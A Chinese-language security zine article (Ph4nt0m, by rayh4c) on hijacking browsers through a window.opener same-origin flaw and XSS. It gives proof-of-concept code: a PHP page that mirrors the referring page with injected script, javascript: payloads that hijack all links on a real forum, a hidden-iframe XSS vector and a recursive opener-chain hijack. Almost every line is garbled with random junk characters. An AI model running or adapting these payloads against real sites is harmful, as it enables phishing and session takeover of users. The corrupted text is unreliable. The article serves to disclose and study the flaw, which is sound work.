==Ph4nt0m Security Team==3 D/ B3 c2 Q7 |7 A! V+ i! p# P6 v9 n
8 j" N# L4 h6 ~- d- a, ]. R
Issue 0x03, Phile #0x05 of 0x07, ]) m, r; p. i+ k b& @
1 t1 X3 m, d) k) [4 ?9 P; ^/ B& Y" L- _' z
|=---------------------------------------------------------------------------=|
* j" O6 v0 r+ n3 m+ l K|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|0 ]7 H0 T# P% X6 F/ @
|=---------------------------------------------------------------------------=|
0 A. z, I* y- ?* {4 e0 H# O, F|=---------------------------------------------------------------------------=|
& q8 `" O3 S1 n% W|=------------------------=[ By rayh4c ]=---------------------------=|
3 B0 t6 e+ Q3 Y" j|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
+ z$ U% C, K; ?0 {/ w' v|=---------------------------------------------------------------------------=|
5 s) \' o1 T3 Y( z; w- \7 m# l8 T# {# U2 ~0 E; E+ }3 C
8 b* n5 p; c" `1 \ ~9 q
[目录]3 C( z/ b$ u' v& f3 K, b
. v# g! }- H. ~5 o) |
1. 前言# X1 V9 |' j' n! g
2. 同源策略简叙
/ X/ R" z' H& ^# F! h4 u3. 理解window对象的同源策略
7 g9 P9 K: R0 D+ x& N1 ?0 m4. 窗口引用功能中的同源策略漏洞
3 `7 H# U: V& L. a, z 4.1 父窗口引用子窗口的同源策略问题
* u; Z" n; Q6 M+ |, m. F4 F 4.2 子窗口引用父窗口的同源策略问题3 C% M) h8 ~6 y+ ~% W9 `- L; f
5. 利用窗口引用漏洞劫持浏览器8 ]3 S( i& m C
6. 利用XSS漏洞劫持浏览器
$ ~- p n6 @' }. C- K! s 6.1 正向跨窗口劫持
5 B3 F! K1 ?) R# z1 z$ `2 L2 S 6.2 反向跨窗口劫持
q0 O# q& y) b* P1 a 6.3 极度危险的跨框架窗口引用劫持/ ~! s. F/ e2 ~3 i" x
6.4 极度危险的正反向跨窗口递归劫持
% d' W0 y3 P# t/ f; K2 d 6.5 完全控制浏览器
. \& e0 ?& [0 g8 }7. 后记% c: ~& m9 m7 s8 u# ~- X( P
8. 参考! O3 G) E* e! P+ \. R6 G3 }, m
' t7 P- o- U; }
6 J, h0 Z f: w' y* p1 ^/ ]一、前言
. a! p6 A: B/ R2 L4 [4 H; r* B
- H8 L$ m2 X- H2 y5 V 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋* W( s& Y1 H$ J$ x ~
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
( H& [7 Q6 S/ _( i. t劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被1 F% C; R1 Y4 l+ b. s! L% O, c
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
/ C( E) P3 r* |# {2 a5 l" R3 d& b% @$ F' w5 \" |
/ N/ `+ o' H- Y3 ~6 C$ p
二、同源策略简叙' V. |+ J( a D+ g) m% l4 P1 b6 l
7 n9 ]3 h9 k' k! s
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
# ^5 k* n3 B. `3 t$ [' p+ a从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都) `7 j( r0 x" ]+ M. k( p
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
6 o( w9 u5 \, E i9 i( k马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
+ {) x5 T, M3 M' ]/ c4 P. R漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。7 L( y T) }% {- q
" P2 s: R! q- b6 Q! `% Z" z9 ^
- {4 {9 A6 w, @4 I三、理解window对象的同源策略! y' M: q. B1 q# C
5 r* S/ R: O9 g' t$ G
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
' S. T7 D E9 w3 [1 K, ^4 T象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:# G8 t6 `, o" v) b! H# [4 o7 m1 d+ f
- {- s z- d( w% j) g; C. N--code-------------------------------------------------------------------------
' \! K( s! T' {; @<script language="javascript">7 v/ s7 `6 N6 X, D: I) Q* M% Q5 U
for(p in window) document.write(p+"<br>");
" a& c6 a0 f% \; h</script>3 ?! n |5 }; A4 X% t! z
-------------------------------------------------------------------------------" D8 [$ d4 B, j" z
; b' F* X" Y4 t9 ^ 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
5 F* I! a% b$ h3 H1 }法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,7 D3 ^7 `$ R, g
这些属性和方法就必须遵循同源策略。
4 |( o8 \" ?, `5 {6 q I/ A/ b& J& j$ O
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
I: [" p. j l- r# ]么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
% W9 B4 p* t) V& I的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这/ C6 I3 W9 W) c# f0 n+ s) i1 W
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
( ]/ c* T( O' e6 @$ z值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
1 B8 H B Z7 t属性并没有被拒绝访问。: @+ W3 ^ _8 q
/ A7 D( O' Y0 y0 V; r# P L--demo.html--------------------------------------------------------------------
2 v9 D. ^& Q7 ~9 p1 j7 h) d7 J<script language="javascript"> : r1 z; {0 x' ~5 Y% E. _
function allPrpos(obj) { ! i g7 [* W0 l* O- C1 {6 _
var props = "<table><tr><td>名称</td><td>值</td>"; 2 n9 E& M+ ]6 Y Z& v$ p
for(var p in obj){ ! K _( r- x1 E* X
if(typeof(obj[p])=="function"){
1 d8 x% J+ E3 w7 F# L obj[p]();
9 a1 H) F% ~' w( G, f9 E- m* {. v2 J; B }else{ & l6 q. x0 i, c& z+ w
try 9 B. W$ T3 X& y# `
{ . e8 U: h, ]# c$ v, [3 F
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; ! ~2 d8 t" N1 } Y3 y3 ]
}
" C+ s# G0 B/ `5 T( R catch (ex)
% q! W" R8 M# \$ \ {
: T, a6 M' z a
- @) a6 u! n; a6 K6 D props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; & `; l4 w0 q& l4 @$ L6 \
} 5 k0 C5 C6 u# U' i8 y. f! z% r9 B+ z
" M" z. [( @& P3 }5 D
} : M! v8 C7 K# q: w1 p. ?' Y% x
} ' a! F' c( O" J8 g! w' n( A
1 ?2 s) X( G* N
document.write(props+"</table>");
. J' z4 O5 B3 {+ t5 P} - w/ f" m6 ^% S) V F9 M
' A4 i, k" n: Kfunction createWin() {% p/ ~, m- F2 Z- u+ [% F2 d! j
newWin = window.open ("http://www.google.com"); & m3 n/ A# V" Z8 d# C
setTimeout(function(){allPrpos(newWin)},2000); ' f! l$ `0 e; \% h J, M, O& \
} 5 C9 w4 N b/ I/ B# d/ D
- L) O, s- j& s/ q
</script>
\' j' T) }% t. J/ x- M4 t, [2 e# z' [( Q. z6 e; ]" S
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
2 `$ n3 c4 a( x% T# ]. I j- [-------------------------------------------------------------------------------
2 X/ s7 `6 I. q4 _" K% u! W/ D- q# Q" \
* ~2 v7 g# d k" R4 b: K+ `: s四、窗口引用功能中的同源策略漏洞* I+ p9 {) A- R& Y# y* V
) Q- W9 M& v! K3 X4 G
4.1 父窗口引用子窗口的同源策略问题
f7 P1 \4 \' N# ^" g
9 ^; `; w1 g! H& U- D4 w* E& a 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
. I# p) I& X% y6 X- p$ L但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
! x( h/ E1 `) P# O7 R浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
1 b, Z7 Z N+ L& F& A$ F/ o: W行测试,会发现父窗口可以控制非同源子窗口location属性值。
; ~& m8 ]6 G- |, b" ^/ \" [$ y8 P* ^
--vul1.html--------------------------------------------------------------------
( x- P% ~! _# L8 |" B" D; k2 s<script language="javascript">
, Y) Y! e* t7 V/ A7 S1 ?+ @: F1 m7 kfunction createWin() {
7 ] s8 @' G+ M8 J newWin = window.open ("http://www.google.com");
; e; W( T. D: i3 P8 F setTimeout(function(){newWin.location="http://www.80sec.com"},2000); " b7 P5 B* X1 N+ Y7 @9 C) m' p
} - k( Q' @% r6 i+ I. c6 g2 U
</script> w; V/ o; {, n: N B, ~! b
& k9 o& M4 n( t. q
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
( A6 H4 c5 K& j# c. e- G-------------------------------------------------------------------------------2 \# v/ ]" ~; ?8 z
: k8 a! L! p6 \; ^9 c2 f" n" [2 P% V( c7 `7 z+ I8 H# `
4.2 子窗口引用父窗口的同源策略问题% _6 k8 t, j) R/ z+ Z7 y; O
& w: U& t. _" {1 u
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
' R6 ]5 n" W5 E" y) i, k& R! D用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们4 s$ \$ K# i3 a
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定4 w4 W9 u( c, }% G# }3 ~# [
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。( ?4 G2 Z1 o* N; c& E7 Y1 ~6 t! y4 \
% E2 n# e! s D6 Z3 c$ k
--code-------------------------------------------------------------------------8 X$ X! p( D, o
4 g! O/ L- N8 n
javascript:window.opener.location = "http://www.80sec.com";void(0);
* K8 m- s/ n* p5 n) ?; I* E) Q3 N1 ^( u7 i$ |. f, J
-------------------------------------------------------------------------------
3 K! D, _6 t* Z
2 n7 I* v2 q0 g; G9 \
2 D5 @: {% S2 S; M: Z3 s五、利用窗口引用漏洞劫持浏览器
' q- a; O8 m& l& ?2 X' ]: V! P
: x8 i5 F* ^1 S/ V( D P K; g 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子4 [% i9 |) t( p0 v; k6 n
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那+ o3 i# U+ i4 i! u6 `
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
% \: W; i0 E4 ~- G/ [. S
6 s6 |7 R& L( V8 P: x 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产+ @0 R, M) C! A$ x3 M% }0 [
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或: s6 h6 \7 W7 o0 h& x3 x: M* a5 ~
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
" U9 ^9 y2 I1 ]0 W! r9 R0 ^9 `, [' }后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下& W6 V* D2 m) B( T- A+ U$ e: s! h
会产生什么可怕的后果。
) q/ e+ g# s8 A; V- G/ j5 o ]8 @/ m
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我- f; ^ L* U( p6 o/ h6 p
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php" t5 Y" L$ v- l, A: M: _
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时: S4 c: g! f7 A7 ?# Q2 r
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
* S, W7 n* _4 m4 K以做更多的事情,所有的一切仅仅是因为点击了一个链接。, ~9 M" W1 F$ [+ h1 ]* K$ o/ V$ ?
! p6 |& r. {* s
--hjk_ref.php------------------------------------------------------------------" `# X0 |, Z+ R% v! b% x8 R2 L# W
<?php
& a q; {/ B: j$ f& `) l1 Iif (array_key_exists("HTTP_REFERER", $_SERVER)) {
% S4 c. f. E2 F, k$ E! I2 J/ m$Url_Mirror = $_SERVER["HTTP_REFERER"];
" j! T9 C) j! A& E7 E6 S}
3 ^. x! o3 b3 y+ b0 h8 bif(isset ($_GET['ref'])) {
4 [$ O% r5 V1 Q' xecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';' n, [$ H4 x$ P8 n- c, `
}+ m2 z/ ^2 F/ e3 _' b0 _+ R
?>
6 y$ x. o/ W/ ^/ a! D N9 ^4 m6 A% u% i7 d1 t5 v* V0 A
<script language="javascript">
( N# z+ {. ]' m7 v; r( psetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); g1 W$ j+ h6 p4 O( W% D
</script>6 L; t# u- k& R, C& d
-------------------------------------------------------------------------------' P# s! E7 j A' f0 y
- \6 A( L) m( {) Z; S8 N+ U 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
* I, t# T* _" S; r
: F/ h2 \: w! L9 {# H* Q% E. L( m P3 `7 E0 Y+ P% l- ?7 k
六、利用XSS漏洞劫持浏览器: K7 \7 y$ U& m F5 L0 j
1 W3 @4 V$ p! R# I7 {* h. L9 k
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
' n6 A; t7 d& o& }0 k% U8 J持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后. x: B7 H! Q0 f/ B
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
! y1 }/ {9 O* ?+ b0 _+ [( k6 X讨论跨站师的终极技巧:, G, H* Y* i, F0 s+ \, e; Y1 R3 R
% r' O1 w* Q# {: n' V9 @
. Z F- Q& t5 \6.1 正向跨窗口劫持
a4 A/ g. F7 O8 N6 g
1 S& u! E/ O0 a- Q( l 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛 y6 |% O# y } ~8 ]" }; D
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链2 j& y+ X) a. Q" `1 V% e
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
6 ]/ g* \1 S1 i8 m: _3 @0 E框脚本。 ! ^. Q# b9 Z4 r
# A `% P! a9 y* o+ D
--hijack_open.js---------------------------------------------------------------
/ T: K: G/ y$ ~( ?- R6 U9 J! F% b3 H& I; m5 @* [+ R
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
; ~# y! w+ g8 _/ Y R4 |/ Y, J# ?$ G- {# A2 t
-------------------------------------------------------------------------------
, v* ?" \' `. ^. B2 ^6 p' C4 N# {
( w2 l$ Z6 y/ {7 o+ }
5 N2 x8 r/ m& w: w: |6.2 反向跨窗口劫持
8 x3 y, H& ^' `) r2 C
) f4 t7 t+ R: r' j 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
' _9 w$ r5 A0 b; d码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话) Q, Z' M5 Y! @+ ^) g
框脚本。; \% Z! }* r4 W% M5 L+ T
+ L. [3 [; ^) A. x
--hijack_opener.js-------------------------------------------------------------
* l3 p1 O% D" T, y5 f/ a5 D1 G( D, G' ?* C2 `: b
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);! ^# L4 y. i( r
$ {/ Q0 G! _3 n, n8 v4 d y7 Q-------------------------------------------------------------------------------5 D+ @" `, @. f3 P7 t
& X u/ P; N' S
1 R* m; _9 P& \9 A
6.3 极度危险的跨框架窗口引用劫持
( F9 V- E7 q6 Y8 [, s7 c$ h1 z/ [; l- P1 m
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
, b8 n- C3 _' \: m/ q可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
- _# P+ ~$ t, q; C1 Q `- Z4 k适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
1 h8 G: n* m. J非持久型的XSS,如下:* u6 H7 J6 B) M3 @
, X8 F0 k+ |/ G4 V( H* X
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>3 @5 ~& m* I7 Y. f/ b/ t4 h# v
7 v5 g+ c% y. r
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口2 ]* n1 e& _$ P6 c/ \1 }
注入脚本。/ I5 j- j- f9 n' E) V" s
: U( l4 \0 q0 `4 h--hijack_frame_opener.js-------------------------------------------------------
) F7 a) T' Y [/ X<script>
5 ~) }% y! M0 Xwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";5 r2 B4 b7 k- W( W
</script>; P8 @% E1 w# E" [% m$ E% I
-------------------------------------------------------------------------------' P/ P3 _) z% f1 v! o: Q
" c2 {8 ^, b d3 ^5 L! @1 x3 t% r& a* z) Z% Q" [3 U3 S1 u6 g2 j
6.4 极度危险的正反向跨窗口递归劫持. D% h' D: Q8 ]" C
: r3 n5 c5 r/ ]( K luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
( g7 h7 C3 s0 Z. F的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
5 ]% Y/ M5 U" P4 v3 o& o2 `异常处理规避之间跨域页面的访问异常,代码如下:
$ |/ n6 p7 H1 `% `. Q' n5 |
% a6 B* Q4 ^2 d/ o--code-------------------------------------------------------------------------
8 k* h- ^; ]; A, i; {; z6 K0 S4 m& | r9 J( B9 ?
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
! i) _6 J9 ~6 v. N9 g) `6 r
+ D/ X) k+ K$ _7 [9 H+ O. N/ t-------------------------------------------------------------------------------: A$ h6 k" d P8 Z2 c( F+ V5 l
9 v, @/ G3 I0 e5 e& P: R R' c' q
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可* e* L& H( d5 P6 T' }! _4 ?3 l* L; @, m
以劫持B域之前的A域页面,从而实现“隔空打击”。
, I: _" a6 p, f9 a6 C# E3 J$ s9 D$ l0 b0 F& w. N
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
) |' I; m) q* j( _- ~7 O$ c& n# G执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。% I- o& Z, R. K5 O. G" u1 L
8 J0 ^, W: I3 D" `' I 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。+ X& S) {0 ?9 v5 t; j6 i2 W5 g* G# i
6 f9 h p9 W x6 W* _1 F$ [1 k L% {$ E: x
6.5 完全控制浏览器
6 q7 a( j$ w; M7 \
/ T/ T1 V o: x) l, B7 s4 u f, a 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则& o- ?. w' y( Q/ l
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS3 J2 D/ S. X+ j# b* s0 o @1 u
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
& ^0 R$ a5 _' z) y' @ o, W而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
U! m c) F C8 h' u1 {3 W列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
[1 X4 i1 i1 K2 n+ a9 Q师的终极目标 - 完全控制浏览器。
' n6 |- s# M" Z# o0 ?2 P' _! h
) Z- a0 E0 j8 S% Y5 ]0 }4 ~( }
七、后记
/ g/ A( f" j. h% l# c9 L$ w5 n- t
, ^2 {; B8 w' t2 J& I0 x, C0 y( L6 S 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全( s! d- A% H, G) j+ H) A2 B
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
% A6 X: b2 V# _) y; _% V0 o( G过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。8 C( E/ [# A" Q) m2 M9 V
0 d- i# D0 L8 b! Z1 S
4 L% U+ e/ }1 Q八、参考, |2 F) a% r/ M" I* M, w
# p1 }( P7 a D
1. http://en.wikipedia.org/wiki/Same_origin_policy
$ e9 ]( j3 V- y3 V! z) V2 Y2. http://code.google.com/p/browser ... licy_for_DOM_access" ^/ r2 I& J* }8 r
3. http://www.w3.org/TR/Window/
0 }* J6 j0 ]5 |' I4. http://www.80sec.com/release/browser-hijacking.txt, \( R B& \( y8 Y+ Q
5. http://www.80sec.com/all-browser-security-alert.html
( ?6 n; `6 t( E% B+ W6 P F6. http://www.80sec.com/ms08-058-attacks-google.html( u9 C3 T% f" u8 Q" M
+ ~* M1 J! e- Z" T
-EOF- |